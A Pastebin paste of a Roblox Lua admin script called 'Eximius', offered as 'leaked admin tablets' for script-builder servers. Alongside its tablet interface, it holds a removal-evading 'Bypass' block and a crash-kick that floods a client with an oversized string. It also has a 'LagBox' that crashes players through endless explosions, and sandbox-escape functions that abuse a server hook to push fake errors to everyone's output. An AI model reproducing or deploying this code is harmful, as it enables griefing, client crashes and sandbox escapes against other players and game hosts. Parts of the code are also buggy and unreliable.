resaloli

Leaked Admin Tablets

Sep 22nd, 2015
1,356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 43.47 KB | None | 0 0
  1. wait()
  2.  
  3. script.Name = 'script'
  4.  
  5. --[[Bypass]]--
  6. if game.PlaceId == 20279777 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  7. if script ~= true then
  8. print("Unremoveable Test Completed! Works! This script is immune to g/nol/all or g/nos/all!")
  9. else
  10. print("Unremoveable Test Failed! This script is removable by g/nol/all or g/nos/all!")
  11. end
  12. -------------
  13. local Eximius
  14.  
  15.  
  16. Eximius = {
  17.           Functions = {};
  18.           Services = {};
  19.           Ranked = {
  20.                     {Name = 'resaloli', Rank = 7, Reason = 'Creator', Color = 'Bright blue'};
  21.           };
  22.           Players = {};
  23.           Prefix = "=";
  24.           Rotation = 0;
  25.           Tablets = {};
  26.           Commands = {};
  27.           Ranks = {
  28.                     [7] = "Rank 7";
  29.                     [6] = "Rank 6";
  30.                     [5] = "Rank 5";
  31.                     [4] = "Rank 4";
  32.                     [3] = "Rank 3";
  33.                     [2] = "Rank 2";
  34.                     [1] = "Rank 1";
  35.                     [0] = "Rank 0";
  36.                     [-1] = "Banned";
  37.           };
  38. }
  39. Eximius.Services = {
  40.  Http = game:GetService('HttpService');
  41.  Workspace = game:service'Workspace';--//or game:service'Workspace';
  42.  Players = game:service'Players';
  43.  MarktPlace = game:service'MarketplaceService';
  44. }
  45.  
  46.  
  47.  
  48. Eximius.Functions.AddRank = function(Name, Reason, Rank, Color)
  49.           table.insert(Eximius.Ranked,{Name = Name, Reason = Reason, Rank = Rank, Color = Color})
  50. end
  51.  
  52. Eximius.Functions.GetColor = function(plr)
  53.           if type(plr) == "userdata" then
  54.                       plr = plr.Name
  55.               elseif type(plr) == "string" then
  56.                       plr = plr
  57.               else
  58.                       plr = tostring(plr)
  59.           end
  60.           for Index, Value in pairs(Eximius.Ranked) do
  61.                       if Value.Name == plr then
  62.                                  return Value.Color
  63.                       end
  64.           end
  65.           return 'White'
  66. end
  67.  
  68.  
  69. Eximius.Functions.GetRank = function(plr)
  70.           if type(plr) == "userdata" then
  71.                       plr = plr.Name
  72.               elseif type(plr) == "string" then
  73.                       plr = plr
  74.               else
  75.                       plr = tostring(plr)
  76.           end
  77.           for Index, Value in pairs(Eximius.Ranked) do
  78.                       if Value.Name == plr then
  79.                                  return Value.Rank
  80.                       end
  81.           end
  82.           return 0
  83. end
  84.  
  85.  
  86.  
  87.  
  88. Eximius.Functions.Output = function(Player, Text, Color, Func)
  89.         if Text == nil then Text = Text end
  90.         Text = '\n'..Text
  91.         if Color == nil then Color = 'White' end
  92.     local Output=Instance.new('Part',workspace)
  93.         Output.Anchored = true
  94.         Output.CanCollide = false
  95.         Output.TopSurface = 'Smooth'
  96.         Output.BottomSurface = 'Smooth'
  97.         Output.Transparency = .9
  98.         Output.FormFactor = 'Custom'
  99.         Output.Name = 'Eximius_Admin Generation 1'
  100.         Output.Parent = game.Workspace
  101.         Output.Anchored = true
  102.         Output.Size = Vector3.new(2.3, 2.3, 2.3)
  103.         pcall(function() Output.CFrame = Player.Character.Torso.CFrame end)
  104.         Output.BrickColor = BrickColor.new(Color)
  105.         Output.Material = 'Neon'
  106.         --//Output.Size = Vector3.new(2.5, 2.5, 2.5)
  107.        
  108.         local Light=Instance.new('PointLight',Output)
  109.          Light.Brightness = 1.6
  110.      
  111.      local SBox = Instance.new("SelectionBox", Output)
  112.      SBox.Adornee = Output
  113.      SBox.Transparency = 0
  114.      SBox.LineThickness = 0.027
  115.      SBox.Color = BrickColor.new(Color)
  116.  
  117.       local Gui = Instance.new("BillboardGui", Output)
  118.       Gui.Adornee = Output
  119.       Gui.Size = UDim2.new(1, 0, 1, 0)
  120.       Gui.StudsOffset = Vector3.new(0, 3, 0)
  121.       local TLabel = Instance.new("TextLabel", Gui)
  122.       TLabel.Text = Text
  123.       TLabel.TextStrokeTransparency = 0
  124.       TLabel.Transparency = 1
  125.       TLabel.Font = 'SourceSansBold'
  126.       TLabel.FontSize = 'Size24'
  127.       TLabel.TextTransparency = 0
  128.       TLabel.Size = UDim2.new(1, 0, 1, 0)
  129.       TLabel.TextColor3 = Output.Color
  130.       TLabel.BorderColor3 = Color3.new(0, 3, 0)
  131.       local ClickD = Instance.new("ClickDetector", Output)
  132.       ClickD.MaxActivationDistance = 1/0
  133.       ClickD.MouseClick:connect(function(p)
  134.               if p.Name == Player.Name or Eximius.Functions.GetRank(p) > Eximius.Functions.GetRank(Player) then
  135.                                 Output:Destroy()
  136.                                 for i,v in pairs(Eximius["Tablets"]) do
  137.                                         if v.Name == Output.Name then
  138.                                                 table.remove(Eximius["Tablets"], i)
  139.                                         end
  140.                                 end
  141.                                 if Func ~= nil then
  142.                                         a,b = ypcall(function()
  143.                                                 Func()
  144.                                         end) if not a then Eximius.Functions.Output(b,"Really red") end
  145.                                 end
  146.                         end
  147.                 end)
  148.                 --[[for Size = 2.5,3,0 do
  149.                           Output.Size = Vector3.new(Size, Size, Size)--//woops
  150.                 end]]--
  151.                
  152.       table.insert(Eximius.Tablets,{Tab = Output, Text = TLabel, Player = Player, Box = Sel})
  153. end
  154.  
  155. local stime = tick()
  156.  
  157. local starttime = tick()
  158.  
  159. Eximius.Functions.RotateTabs = function()
  160. local Rotation = Eximius.Rotation
  161. Rotation = Eximius.Rotation+(0.5/360)
  162. for _,Player in pairs(game:service'Players':GetPlayers()) do
  163. local Counter = 0
  164. local PlayerTablets = {}
  165. for i,v in pairs(Eximius.Tablets) do
  166. if v.Tab.Parent ~= nil and v.Player == Player then
  167. table.insert(PlayerTablets,v)
  168. end;end;
  169. local Start = CFrame.new(0,0,0)
  170. for I = 1, #PlayerTablets do
  171. local radius = (#PlayerTablets*.6)+1
  172. local Pos = nil
  173. pcall(function() Pos = Player.Character.Torso.CFrame end)
  174. if Pos == nil then return end
  175. local Main = (I / #PlayerTablets - (0.3 / #PlayerTablets) + Eximius.Rotation/(#PlayerTablets/7)) * math.pi * 2
  176. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
  177. local y = math.sin(tick()+I)*.75;
  178. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
  179. local aPos = Vector3.new(x, y, z) + Pos.p
  180. local bPos = PlayerTablets[I].Tab.CFrame.p
  181. local cPos = (aPos * .1 + bPos * .9)
  182. PlayerTablets[I].Tab.CFrame = CFrame.new(cPos, Pos.p)
  183. local d = math.rad((Rotation * 300)*math.pi);
  184. PlayerTablets[I].Tab.CFrame = CFrame.new(cPos,Pos.p)*CFrame.Angles(math.rad(tick()),math.rad(tick()),math.rad(tick())) --//Somethings Wrong with search sounds
  185. end;end;end;
  186.  
  187. Eximius.Functions.AddCommand = function(Name, Say, Desc, Rank, Func)
  188.           Eximius.Commands[Name] = {Name = Name, Say = Say, Desc = Desc, Rank = Rank, Func = Func}
  189. end  
  190. --//LET ME
  191.  
  192.  
  193. Eximius.Functions.GetRanked = function(Self)
  194.         Eximius.Functions.Dismiss(Self)
  195.         for i,v in pairs(Eximius.Ranked) do
  196.                 wait()
  197.                  Eximius.Functions.Output(Self, v['Name']..' ('..v['Rank']..')', 'Bright blue', true,function()
  198.                         Eximius.Functions.Dismiss(Self)
  199.                         if Eximius.Ranked[Self.Name]['Rank'] > Eximius.Ranked[Self.Name]['Rank'] then
  200.                                 Eximius.Functions.Output(Self, 'Set Rank', 'Bright blue', false,function()
  201.                                         Eximius.Functions.Dismiss(Self)
  202.                                         for i=-1, Eximius.Ranked[Self.Name]['Rank'] do
  203.                                                 Eximius.Functions.Output(Self, 'Set rank to'..i, 'White', false,function()
  204.                                                         Eximius.Functions.Dismiss(Self)
  205.                                                         v['Rank'] = i
  206.                                                         Eximius.Functions.Output(Self, v['Name'].."'s rank has been set to "..i, 'White', true)
  207.                                                 end)
  208.                                         end
  209.                                 end)
  210.                         end
  211.                         Eximius.Functions.Output(Self,'Name: '..v['Name'], 'Bright Blue', false)
  212.                         Eximius.Functions.Output(Self,'Desc: '..v['Desc'], 'Bright Blue', false)
  213.                                           Eximius.Functions.Output(Self, 'Add to Pri', function()
  214.                                                                                                               Eximius.Pri_List[v['Name']] = true
  215.                                                                                                               end)
  216.                         if game.Players:FindFirstChild(v['Name']) then
  217.                                 Eximius.Functions.Output(Self,'AccountAge: '..game.Players:FindFirstChild(v['Name']).AccountAge, 'Bright blue', false)
  218.                                 Eximius.Functions.Output(Self,'UserID: '..game.Players:FindFirstChild(v['Name']).userId, 'Bright blue', false)
  219.                              
  220.                                                                
  221.                         end
  222.                 end)
  223.         end
  224. end
  225.  
  226. Eximius.Functions.SoundSearch = function(Plr,Name)
  227.         Eximius.Functions.Dismiss(Plr)
  228.         Eximius.Functions.Output(Plr, 'Searching For: '..Name, 'Black', true)
  229.          wait(1.5)
  230.          Eximius.Functions.Dismiss(Plr)
  231.         local Get = Eximius.Services.Http:GetAsync('http://roblox-proxy.cf/catalog/json?Category=9&Keyword='..Name)
  232.         local Songs = Eximius.Services.Http:JSONDecode(Get)
  233.         local i = 1
  234.         repeat
  235.                 local SongName  = string.gsub(Songs[i].Name,"'","'")
  236.                 local ID = Songs[i].AssetId
  237.                 local SongDesc = Songs[i].Description
  238.                 local Creator = Songs[i].Creator
  239.                 Eximius.Functions.Output(Plr, SongName,'White',false,function()
  240.                         Eximius.Functions.Dismiss(Plr)
  241.                         Eximius.Functions.Output(Plr, 'Song name: '..SongName,'Black', false,nil)
  242.                         Eximius.Functions.Output(Plr,  'Description: '..SongDesc,'Black', false,nil)
  243.                         Eximius.Functions.Output(Plr, 'Creator: '..Creator,'Black', false,nil)
  244.                            Eximius.Functions.Output(Plr, 'Sound Settings','Lime green',true, function()
  245.                            Eximius.Functions.Dismiss(Plr)
  246.                            
  247.                                 Eximius.Functions.Output(Plr, 'Set Pitch | 2','Lime green',true, function()
  248.                                 Sound.Pitch = 2
  249.                             end)
  250.                                 Eximius.Functions.Output(Plr, 'Set Pitch | 1','Lime green',true, function()
  251.                                 Sound.Pitch = 1
  252.                                 end)
  253.                                 Eximius.Functions.Output(Plr, 'High Volume','Lime green',true, function()
  254.                                         Sound.Volume = 10
  255.                                 end)
  256.                                 Eximius.Functions.Output(Plr, 'Normal Volume','Lime green',true, function()
  257.                                         Sound.Volume = 1
  258.                                 end)
  259.                                 Eximius.Functions.Output(Plr, 'Loop Sound','Lime green',true, function()
  260.                                         Sound.Looped = true
  261.                                 end)
  262.                                 Eximius.Functions.Output(Plr, 'StopLoop','Lime green',true, function()
  263.                                         Sound.Looped = false
  264.                                 end)
  265.                            
  266.                         end)
  267.                        
  268.                        
  269.                                 Eximius.Functions.Output(Plr, 'Stop Sounds','Really red', true,function()
  270.                                         Sound:Stop()
  271.                                        end)
  272.                                
  273.                         Eximius.Functions.Output(Plr, 'Play','White', true,function()
  274.                              Sound = Instance.new('Sound')
  275.                                 Sound.SoundId = 'http://www.roblox.com/asset/?id='..ID
  276.                                 Sound:Play()
  277.                                 Sound.Parent = workspace
  278.                                 wait()
  279.                                 Sound:Play()
  280.                                                         end)
  281.                 end)
  282.                 wait()
  283.                 i = i + 1
  284.         until i == 20 or i == #Songs
  285. end
  286.  
  287. for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
  288.            Eximius.Functions.Output(Player, "Welcome to Eximius Gen.V1", "Really red")
  289.            Eximius.Functions.Output(Player, "Your Rank : " ..Eximius.Functions.GetRank(Player))
  290.            Eximius.Functions.Output(Player, "Eximius Took "..stime.." to start.", "Megenta")
  291.            Player.Chatted:connect(function(message)
  292.                        Eximius.Functions.OnChatted(Player, message)
  293.            end)
  294. end
  295.  
  296. Eximius.Functions.OnChatted = function(plr, msg)
  297.           for i,v in pairs(Eximius.Commands) do
  298.                       if msg:lower():sub(1,#v['Say']+#Eximius.Prefix) == v['Say']..Eximius.Prefix then
  299.                                if Eximius.Functions.GetRank(plr) >= v.Rank then
  300.                                          msg=msg:sub(1+#v['Say']+#Eximius.Prefix)
  301.                                          a,b=ypcall(function()
  302.                                                      v['Func'](plr, msg)
  303.                                          end) if not a then warn(b) end
  304.                                          else
  305.                                                Eximius.Functions.Output(plr, "Your Rank is too low to execute rank : "..v['Rank']..' Command', 'Really red')
  306.                                                wait(3)
  307.                                                Eximius.Functions.Dismiss(plr)
  308.                                end
  309.                       end
  310.           end
  311. end
  312.  
  313. Eximius.Functions.GetPlayers=function(plr, msg, all)
  314.         local plrs = {}
  315.         if msg:match("^!") then
  316.                 return Eximius.Functions.GetPlayers(plr, msg:sub(2), true)
  317.         elseif msg == "me" then
  318.                 table.insert(plrs, plr)
  319.         elseif msg == "all" then
  320.                 for _,v in pairs(game:service'Players':players()) do
  321.                         if all or Eximius.Functions.GetRank(v) <= Eximius.Functions.GetRank(plr) then
  322.                                 table.insert(plrs, v)
  323.                         end
  324.                 end
  325.         elseif msg == "others" then
  326.                 for _,v in pairs(game:service'Players':players()) do
  327.                         if v ~= plr then
  328.                                 if all or Eximius.Functions.GetRank(v) <= Eximius.Functions.GetRank(plr) then
  329.                                         table.insert(plrs, v)
  330.                                 end
  331.                         end
  332.                 end
  333.         else
  334.                 for _,v in pairs(game:service'Players':players()) do
  335.                         if v.Name:lower():sub(1,#msg) == msg:lower() then
  336.                                 if all or Eximius.Functions.GetRank(v) <= Eximius.Functions.GetRank(plr) then
  337.                                         table.insert(plrs, v)
  338.                                 end
  339.                         end
  340.                 end
  341.      end
  342.      return plrs
  343. end
  344.  
  345.  
  346. Eximius.Functions.Dismiss = function(plr)
  347.           for i,v in pairs(Eximius.Tablets) do
  348.                       if v.Player == plr then
  349.                                 v.Tab:Destroy()
  350.                       end
  351.           end
  352. end
  353.  
  354. Eximius.Functions.LagBox = function(Plr)
  355. model = Instance.new("Model")
  356. model.Name = "Circle"
  357. model.Parent = game.Workspace
  358.  
  359.  
  360.                     Plr.CameraMode=Enum.CameraMode.LockFirstPerson
  361.                    
  362.  
  363. position = CFrame.new(0, 1, 0)
  364. number = 1000
  365. radius = 10
  366. size = Vector3.new(2.2,500,0.2)
  367.  
  368. script.Name = 'Lag_Room'
  369.  
  370. m=Instance.new('Hint',Plr.PlayerGui)
  371. m.Text = 'LagB0x has began!'
  372.  
  373.  
  374. for i=1, number, 10 do
  375. part = Instance.new("Part",workspace.Base)
  376. Plr.Character.Torso.CFrame = CFrame.new(part.Position)
  377. part.Anchored = true
  378. part.BrickColor = BrickColor.new('Magenta')
  379. part.Material = 'Neon'
  380. part.Locked = true
  381. part.Transparency = .5
  382. part.formFactor = "Custom"
  383. part.Parent = model
  384. part.Size = size
  385. sine = math.sin((360/number + 360/number*i)/(180/math.pi))
  386. cosine = math.cos((360/number + 360/number*i)/(180/math.pi))
  387. part.CFrame = position + Vector3.new(radius*sine, 0, radius*cosine)
  388. --part.CFrame = CFrame.Angles(math.rad(i),math.rad(i),math.rad(i))
  389. wait()
  390. end
  391.  
  392. while wait() do
  393. w0=Instance.new('Explosion',part)
  394. w1=Instance.new('Explosion',part)
  395. w2=Instance.new('Explosion',part)
  396. w3=Instance.new('Explosion',part)
  397. w4=Instance.new('Explosion',part)
  398. w5=Instance.new('Explosion',part)
  399. w6=Instance.new('Explosion',part)
  400. end
  401. while wait() do
  402. f1=Instance.new('ForceField',plr)
  403. f2=Instance.new('ForceField',plr)
  404. f3=Instance.new('ForceField',plr)
  405. f4=Instance.new('ForceField',plr)
  406. f5=Instance.new('ForceField',plr)
  407. f6=Instance.new('ForceField',plr)
  408. end
  409. end
  410.  
  411.  
  412. Lightning = function(Start,End,Times,Offset,Color,Thickness,Transparency)
  413.     local magz = (Start - End).magnitude local curpos = Start local trz = {-Offset,Offset}
  414.     for i=1,Times do
  415.         local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true  li.Transparency = Transparency or 0.4 li.BrickColor = BrickColor.new(Color)
  416.         li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(Thickness,Thickness,magz/Times) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)])
  417.         function touch(hit)
  418.                 if hit.Parent:findFirstChild("Humanoid") ~= nil then
  419.                 hit.Parent:BreakJoints()
  420.                 end end li.Touched:connect(touch)
  421.                 local trolpos = CFrame.new(curpos,End)*CFrame.new(0,0,magz/Times).p+ofz
  422.         if Times == i then
  423.             local magz2 = (curpos - End).magnitude li.Size = Vector3.new(Thickness,Thickness,magz2)
  424.             li.CFrame = CFrame.new(curpos,End)*CFrame.new(0,0,-magz2/2)
  425.         else
  426.             li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/Times/2)
  427.         end
  428.         curpos = li.CFrame*CFrame.new(0,0,magz/Times/2).p game.Debris:AddItem(li,0.25)
  429.     end
  430. end
  431.  
  432. Eximius.Functions.Kick = function(Plr)
  433.             local h=Instance.new('RemoteEvent',workspace):FireClient(Plr,{string.rep("get owned lold",2e5+5)})
  434.         delay(3,function()
  435.                 pcall(function()
  436.                         h:remove()
  437.                 end)
  438.         end)
  439. end
  440.  
  441. Eximius.Functions.Hax = function(Txt)
  442.         rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;game:service'Debris':AddItem(n,0);return e end);y=shared['\0bp']();shared["\0bp"]=nil;game:GetService'ReplicatedStorage':ClearAllChildren();logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Print","'..Txt..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
  443.         writelog(Txt)
  444. end
  445.  
  446. Eximius.Functions.EHax = function(Txt)
  447.         rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;game:service'Debris':AddItem(n,0);return e end);y=shared['\0bp']();shared["\0bp"]=nil;game:GetService'ReplicatedStorage':ClearAllChildren();logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Error","'..Txt..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
  448.         writelog(Txt)
  449. end
  450.  
  451. Eximius.Functions.WHax = function(Txt)
  452.         rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;game:service'Debris':AddItem(n,0);return e end);y=shared['\0bp']();shared["\0bp"]=nil;game:GetService'ReplicatedStorage':ClearAllChildren();logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Warn","'..Txt..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
  453.         writelog(Txt)
  454. end
  455.  
  456. Eximius.Functions.OpenCommands = function(Speaker, rank)
  457.                     Eximius.Functions.Dismiss(Speaker)
  458.           table.foreach(Eximius.Commands,function(i,v)
  459.                   if v['Rank'] <= rank then
  460.                       Eximius.Functions.Output(Speaker, v.Name, Eximius.Functions.GetColor(v), function()
  461.                                 Eximius.Functions.Dismiss(Speaker)
  462.                                 Eximius.Functions.Output(Speaker, "Name : " ..v.Name, Eximius.Functions.GetColor(v))
  463.                                 Eximius.Functions.Output(Speaker, "Usage : " ..v.Say..Eximius.Prefix, Eximius.Functions.GetColor(v))
  464.                                 Eximius.Functions.Output(Speaker, "Desc : " ..v.Desc, Eximius.Functions.GetColor(v))
  465.                                 Eximius.Functions.Output(Speaker, "Rank : " ..v.Rank, Eximius.Functions.GetColor(v))
  466.                                 Eximius.Functions.Output(Speaker, "Dismiss", "Really red", function() Eximius.Functions.Dismiss(Speaker) end)
  467.                                
  468.                            end)
  469.                       end
  470.           end)
  471. end
  472.  
  473. Eximius.Functions.Test = function(Speaker, Msg)
  474.     Eximius.Functions.Output(Speaker, 'Eximius is running.','Deep blue',nil)
  475.     Eximius.Functions.Output(Speaker, 'Eximius Generation 1','Hot pink',nil)
  476.     Eximius.Functions.Outpue(Speaker, 'Dismiss','Really red', function()
  477.         Eximius.Functions.Dismiss()
  478.     end)
  479. end
  480.  
  481. Eximius.Functions.AddCommand('Ranked','ranked','Shows all ranked players.',1,function(Speaker)
  482.     Eximius.Functions.GetRanked(Speaker)
  483.     end)
  484.  
  485. Eximius.Functions.AddCommand('Show commands','cmds','Opens all commands',0,function(Player, Msg)
  486.     Eximius.Functions.Dismiss(Player, Msg)
  487.           Eximius.Functions.Output(Player, "Open commands that are avaiable.", "Really red", function() Eximius.Functions.OpenCommands(Player,Eximius.Functions.GetRank(Player)) end)
  488.           for i = 0,7 do
  489.                      Eximius.Functions.Output(Player, " " ..Eximius.Ranks[i].. " Commands", Eximius.Functions.GetColor(Player), function() Eximius.Functions.Dismiss(Player) Eximius.Functions.OpenCommands(Player, i) end)
  490.           end
  491.           Eximius.Functions.Output(Player, "Your Rank : " ..Eximius.Functions.GetRank(Player),"Teal")
  492.           Eximius.Functions.Output(Player, "Dismiss", "Really red", function() Eximius.Functions.Dismiss(Player) end)
  493. end)
  494.  
  495.  
  496. Eximius.Functions.AddCommand('Char','ch','Chars you to the said player ID.',2,function(Plr,Txt)
  497. Plr.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Txt
  498. Plr:LoadCharacter()
  499. end)
  500.  
  501. Eximius.Functions.AddCommand('Test','Test','Tests to see if the script is running',1,function(Speaker, Msg)
  502.     Eximius.Functions.Test()
  503.     end)
  504.  
  505. Eximius.Functions.AddCommand('Ban','ban','Bans the said player from the server.',4,function(Plr,Txt)
  506.     Eximius.Functions.Dismiss(Plr)
  507.         local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
  508.         for i,v in pairs(plrs) do
  509.                 if v then
  510.                     wait(.1)
  511.                         Eximius.Functions.Kick(v)
  512.                         Eximius.Ranked[v.Name]['Rank'] = -1
  513.                         Eximius.Ranked[v.Name]['Reason'] = 'Banned via ban command. {Temp}'
  514.                 end
  515.         end
  516. end)
  517.  
  518. Eximius.Functions.AddCommand('Dismiss','dt','Dismisses your tablet.',0,function(Speaker, Msg)
  519.            Eximius.Functions.Dismiss(Speaker)
  520. end)
  521.  
  522. Eximius.Functions.AddCommand('LagBox', 'lbox','Lags a player inside a box. {AKF: Pyrex}',6, function(Plr, Txt)
  523.         local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
  524.         for i,v in pairs(plrs) do
  525.                 if v then
  526.             Eximius.Functions.Output(Plr,'Lagging '..v.Name..'With lagBox','Really red', true)
  527.                Eximius.Functions.LagBox(v)
  528.                Plr.AncestryChanged:connect(function(child, parent)
  529.         Eximius.Functions.Output(Plr, v.Name..'Has Crashed from LagBox.','Really red', true)
  530. end)
  531.             end
  532.             end
  533.         end)
  534.  
  535. Eximius.Functions.AddCommand('Dismiss all','dall','Dismsises everyones tabs.',4,function(Speaker, Msg)
  536.           for i,v in pairs(game:GetService('Players'):GetPlayers()) do
  537.                      Eximius.Functions.Dismiss(v)
  538.           end
  539. end)
  540.  
  541. Eximius.Functions.AddCommand('Kill','kill','Kills a player',2,function(Speaker, Msg)
  542. Eximius.Functions.Dismiss(Speaker)
  543.            local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
  544.            for i,v in pairs(gPlayers) do
  545.                         if v then
  546.                                    pcall(function()
  547.                                                v.Character:BreakJoints()
  548.                                    end)
  549.                         end
  550.            end
  551. end)
  552.  
  553. Eximius.Functions.AddCommand('Execute','exe','Executes a message.',5,function(Speaker, Msg)
  554. Eximius.Functions.Dismiss(Speaker, Msg)
  555.            local loadstring_message=loadstring(Msg)
  556.            if(loadstring_message) then
  557.                         a,b=ypcall(function()
  558.                                    loadstring_message(Msg);
  559.                         end)
  560.                         if not a then
  561.                                  
  562.                         end  
  563.            end
  564. end)
  565.  
  566. Eximius.Functions.AddCommand('Sound search','smusic','Sound searches some music.',1,function(Speaker, Msg)
  567.          Eximius.Functions.Output(Speaker, "In progress scrubs.", "Really red")
  568. end)
  569.  
  570. Eximius.Functions.AddCommand('Kick','kick','Kicks a player from game.',6,function(Speaker, Msg)
  571.           local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
  572.           for i,v in pairs(gPlayers) do
  573.                       if v then
  574.                                 Eximius.Functions.Kick(v)
  575.                       end
  576.           end
  577.         end)
  578.  
  579. Eximius.Functions.AddCommand('Forcefield','ff','Gives you forcefield to a player.',2,function(Speaker, Msg)
  580.           local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
  581.           for i,v in pairs(gPlayers) do
  582.                       if v then
  583.                                 Instance.new("ForceField", v.Character)
  584.                       end
  585.           end
  586. end)
  587.  
  588. Eximius.Functions.AddCommand('UnGod','ungod','Ungods a plr',2, function(Plr,Txt)
  589.         local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
  590.         for i,v in pairs(plrs) do
  591.                 if v and v.Character and v.Character.Humanoid then
  592.                         v.Character.Humanoid.MaxHealth = 100
  593.                 end
  594.         end
  595. end)
  596.  
  597. Eximius.Functions.AddCommand('GPrint','gp','Prints all outputs your message{OX ONLY}',3, function(Plr, Txt)
  598. Eximius.Functions.Hax(Txt)
  599. Eximius.Functions.Output(Plr, 'Printed: <'..Txt..'> to all outputs!','White', nil)
  600. end)
  601.  
  602. Eximius.Functions.AddCommand('WPrint','wp','WarnPrints all outputs your message{OX ONLY}',3, function(Plr, Txt)
  603. Eximius.Functions.WHax(Txt)
  604. Eximius.Functions.Output(Plr, 'Warned all players via Output! <'..Txt..'> !','Bright orange', nil)
  605. end)
  606.  
  607. Eximius.Functions.AddCommand('EPrint','ep','ErrorPrints all outputs your message{OX ONLY}',3, function(Plr, Txt)
  608. Eximius.Functions.EHax(Txt)
  609. Eximius.Functions.Output(Plr, 'Broadcasted "FakeError" to all outputs! <'..Txt..'> !','Really red', nil)
  610. end)
  611.  
  612. Eximius.Functions.AddCommand('Smite','smite','Heres how to kill people #Ded',6,function(Plr, Txt)
  613.                 local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
  614.         for i,v in pairs(plrs) do
  615.                 if v and v.Character then
  616.                         Lightning(v.Character.Torso.Position+Vector3.new(0,50,0),v.Character.Torso.Position,3,math.random(-2.5,2.5),"New Yeller",.4,.4)
  617.                         Instance.new("Explosion",v.Character.Torso).Position=v.Character.Torso.Position
  618.                          Eximius.Functions.Output(Plr, 'Smited '..v.Name,'Lime green', false)
  619.                 end
  620.         end
  621. end)
  622.  
  623.  
  624. Eximius.Functions.AddCommand('God','god','God yourself, gives you infinite health.',2,function(Speaker, Msg)
  625.           local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
  626.           for i,v in pairs(gPlayers) do
  627.                      if v then
  628.                                  v.Character.Humanoid.MaxHealth = math.huge
  629.                      end
  630.           end
  631. end)
  632.  
  633. Eximius.Functions.AddCommand('Rank','rank','Shows how to get ranked',500,function(Speaker, Msg)
  634.                 Eximius.Functions.Dismiss(Speaker)
  635.                         Eximius.Functions.Output(Speaker,'Then send the message to him with the fourm in','White',true)
  636.                 Eximius.Functions.Output(Speaker,'Make sure the info you filled is correct (To what it says)','White',true)
  637.                 Eximius.Functions.Output(Speaker,'If the info is correct, you will be added into the table.','White',true)
  638.                 Eximius.Functions.Output(Speaker,'Dismiss','Really red',function()
  639.                         Eximius.Functions.Dismiss(Speaker)
  640.         end)
  641. end)
  642.  
  643. Eximius.Functions.AddCommand('AFK','afk','Shows your afk.',0,function(Speaker, Msg)
  644.     Eximius.Functions.Dismiss(Speaker, Msg)
  645.     for i = 1,5 do
  646.     Eximius.Functions.Output(Speaker,'AFK Due To: '..Msg,'Really red',true)
  647.     end
  648. end)
  649.  
  650. Eximius.Functions.AddCommand('Credit','cred','Shows the credits.',0,function(Speaker, Msg)
  651.         Eximius.Functions.Dismiss(Speaker)
  652.         Eximius.Functions.Output(Speaker, 'Loading Credits..','Really red',function()
  653.                 wait(1)
  654.                 Eximius.Functions.Dismiss(Speaker)
  655.                 Eximius.Functions.Output(Speaker, 'MasterKelvinVIP | Helped with rot','New Yellow',true)
  656.                 Eximius.Functions.Output(Speaker, 'Dismiss','Really red',function()
  657.                         Eximius.Functions.Dismiss(Speaker)
  658.                 end)
  659.         end)
  660. end)
  661.  
  662.  
  663. Eximius.Functions.AddCommand('Back','back','Afk from back.',0,function(Speaker, Msg)
  664.           Eximius.Functions.Dismiss(Speaker)
  665.           for i = 1,5 do
  666.                       Eximius.Functions.Output(Speaker, "Player is now : Back"..i,"Teal")
  667.           end
  668. end)
  669.  
